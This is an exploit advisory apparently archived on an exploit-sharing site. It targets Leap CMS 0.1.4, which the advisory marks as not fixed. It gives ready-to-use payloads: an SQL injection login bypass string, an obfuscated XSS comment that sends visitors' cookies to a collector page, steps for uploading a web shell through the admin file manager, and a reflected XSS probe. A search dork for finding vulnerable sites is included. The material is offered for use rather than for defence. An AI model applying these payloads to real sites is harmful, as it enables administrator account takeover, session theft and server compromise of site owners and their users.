the last unbiased stronghold

Leap CMS 0.1.4 XSS / SQL Injection

Leap CMS 0.1.4 XSS / SQL Injection
Posted May 1, 2009
Authored by YEnH4ckEr

Leap CMS version 0.1.4 suffers from cross site scripting, shell upload, and remote SQL injection vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss, sql injection
MD5 | 23963fa48652ee1f9cea7159884678f4

Leap CMS 0.1.4 XSS / SQL Injection

Change Mirror Download
***********************************************************************************************
***********************************************************************************************
** **
** **
** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **
** [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **
** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
[> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] **
** **
** **
** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O **
** ¡PROUD TO BE SPANISH! **
** **
***********************************************************************************************
***********************************************************************************************

----------------------------------------------------------------------------------------------
| MULTIPLE REMOTE VULNERABILITIES |
|--------------------------------------------------------------------------------------------|
| | LEAP CMS 0.1.4 | |
| CMS INFORMATION: ------------------------------ |
| |
|-->WEB: http://leap.gowondesigns.com/ |
|-->DOWNLOAD: http://leap.gowondesigns.com/download.php?leap014.zip |
|-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap |
|-->CATEGORY: CMS / Lite |
|-->DESCRIPTION: Leap is a single file, template independent, open-source, |
| standards-compliant,extensible content management system for the web... |
|-->RELEASED: 2009-03-13 |
| |
| CMS VULNERABILITY: |
| |
|-->TESTED ON: firefox 3 and I-Explorer 6 |
|-->DORK: "Powered by Leap" |
|-->CATEGORY: AUTH-BYPASS(SQLi)/COOKIE-STEALER (XSS)/SHELL-UPLOAD/ XSS |
|-->AFFECT VERSION: 0.1.4 (maybe <= ?) |
|-->Discovered Bug date: 2009-04-24 |
|-->Reported Bug date: 2009-04-24 |
|-->Fixed bug date: Not fixed |
|-->Info patch: Not fixed |
|-->Author: YEnH4ckEr |
|-->mail: y3nh4ck3r[at]gmail[dot]com |
|-->WEB/BLOG: N/A |
|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
----------------------------------------------------------------------------------------------


##############################
//////////////////////////////

AUTHENTICATION BYPASS (SQLi):

/////////////////////////////
##############################


<<<<---------++++++++++++++ Condition: magic_quotes_gpc=off +++++++++++++++++--------->>>>


-----------
FILE VULN:
-----------


Path --> [HOME_PATH]/leap.php


function checkSession() {

if($_POST['login']=='Login') {

$_SESSION['userMail']=$_POST['email']; $_SESSION['passWord']=md5($_POST['pwd']);

....
}

$i=@mysql_query("SELECT * FROM ".db('prefix')."users WHERE mail='$_SESSION[userMail]' AND pwd='$_SESSION[passWord]'"); $d=@mysql_fetch_array($i);

....

---------
EXPLOIT:
---------


Email Address: nothing' or 1=1#

Password: nothing


#############################
/////////////////////////////

COOKIES STEALING VULN (XSS):

/////////////////////////////
#############################


<<<<---------++++++++++++++ Condition: Add comment +++++++++++++++++--------->>>>


---------
EXPLOIT:
---------


Go to Link --> http://[HOST]/[HOME_PATH]/?article.[ARTICLE_TITLE]

There it can comment the article.


Add a comment with any name/email and message:


<script>document.location=String.fromCharCode(104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,47,101,120,112,108,111,105,116,45,99,111,111,107,105,101,115,47,119,97,105,116,105,110,103,45,102,111,114,46,112,104,112,63,99,107,61)+document.cookie</script>


PHP Script (Cookies Stealer) --> See: http://www.milw0rm.com/exploits/8453
http://www.milw0rm.com/exploits/8471

Note: Exploit fails if real admin click on log-out button.


############################
////////////////////////////

SHELL UPLOAD VULNERABILITY:

////////////////////////////
############################


<<<<---------++++++++++++++ Condition: Be superadmin (above) +++++++++++++++++--------->>>>


---------
EXPLOIT:
---------


Option: Manage Files. Link --> http://[HOST]/[HOME_PATH]/?admin.system.files

upload your shell there.

Then, Go to the link --> http://[HOST]/[HOME_PATH]/shell.php


########################
////////////////////////

XSS (SEARCH POST FORM):

////////////////////////
########################


Search:

"><script>alert(1)</script>


<<<-----------------------------EOF---------------------------------->>>ENJOY IT!


#######################################################################
#######################################################################
##*******************************************************************##
## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: JosS and all SPANISH Hack3Rs community! ##
##*******************************************************************##
#######################################################################
#######################################################################



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close